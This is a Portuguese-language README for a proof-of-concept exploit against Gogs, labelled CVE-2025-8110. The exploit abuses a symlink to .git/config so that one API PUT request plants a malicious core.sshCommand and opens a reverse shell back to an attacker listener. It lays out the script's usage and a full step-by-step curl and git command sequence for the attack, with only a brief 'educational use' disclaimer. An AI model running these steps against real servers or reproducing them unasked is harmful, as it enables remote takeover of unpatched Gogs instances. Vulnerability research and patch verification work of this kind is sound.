
Exploit de disparo único para Gogs symlink RCE (CVE-2025-8110) que aciona um reverse shell via uma única solicitação PUT para UpdateRepoFile.
Script Python de prova de conceito para CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Único disparo: o próprio PUT malicioso aciona git fetch → sshCommand → reverse shell.
⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.
O manipulador UpdateRepoFile em internal/db/repo_editor.go chama para gravar o conteúdo do arquivo, que segue links simbólicos sem verificá-los. Combinado com o fato de que commits anteriores de links simbólicos percorrem para , um atacante pode:
os.WriteFile.git/x → .git/config para o repositório barePUT /api/v1/repos/{owner}/{repo}/contents/x com um .git/config malicioso contendo core.sshCommand definido para um comando de reverse shellgit fetch origin (via CreateOrUpdateRepoFile → UpdateLocalCopyBranch), que lê a config modificada e executa sshCommand — gerando um reverse shell em um único disparo.poc.py: solicita alvo, nome de usuário, senha, LHOST e LPORT; faz login, cria um token de API, cria um repositório, envia um link simbólico e sobrescreve .git/config via API — a própria requisição PUT única aciona o reverse shell.Execute:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| Argumento | Obrigatório | Descrição |
|---|---|---|
--target / -t | Sim | Nome do host ou URL do alvo Gogs |
--username | Sim | Nome de usuário existente do Gogs |
--password | Sim | Senha existente do Gogs |
--lhost | Sim | IP do ouvinte para o reverse shell |
--lport | Sim | Porta do ouvinte |
/user/settings/applicationsx → .git/config, faz commit e pushPUT /api/v1/repos/{owner}/{repo}/contents/x com uma config git maliciosa contendo core.sshCommand e uma URL remota SSH. O CreateOrUpdateRepoFile do Gogs internamente chama UpdateLocalCopyBranch → git fetch origin, que lê a config envenenada e executa sshCommand — gerando um reverse shell em uma requisição.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extrair _csrf da resposta
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extrair _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
A própria requisição PUT aciona git fetch origin, que lê o .git/config envenenado e executa o reverse shell. Nenhuma segunda requisição é necessária.
Por que
--max-time 10? O servidor pode travar por ~10s enquanto o git processa a gravação e aciona o fetch. Usar--max-time 10garante que o curl mantenha a conexão aberta tempo suficiente para o shell conectar de volta. Sem isso, a conexão pode cair antes do shell disparar.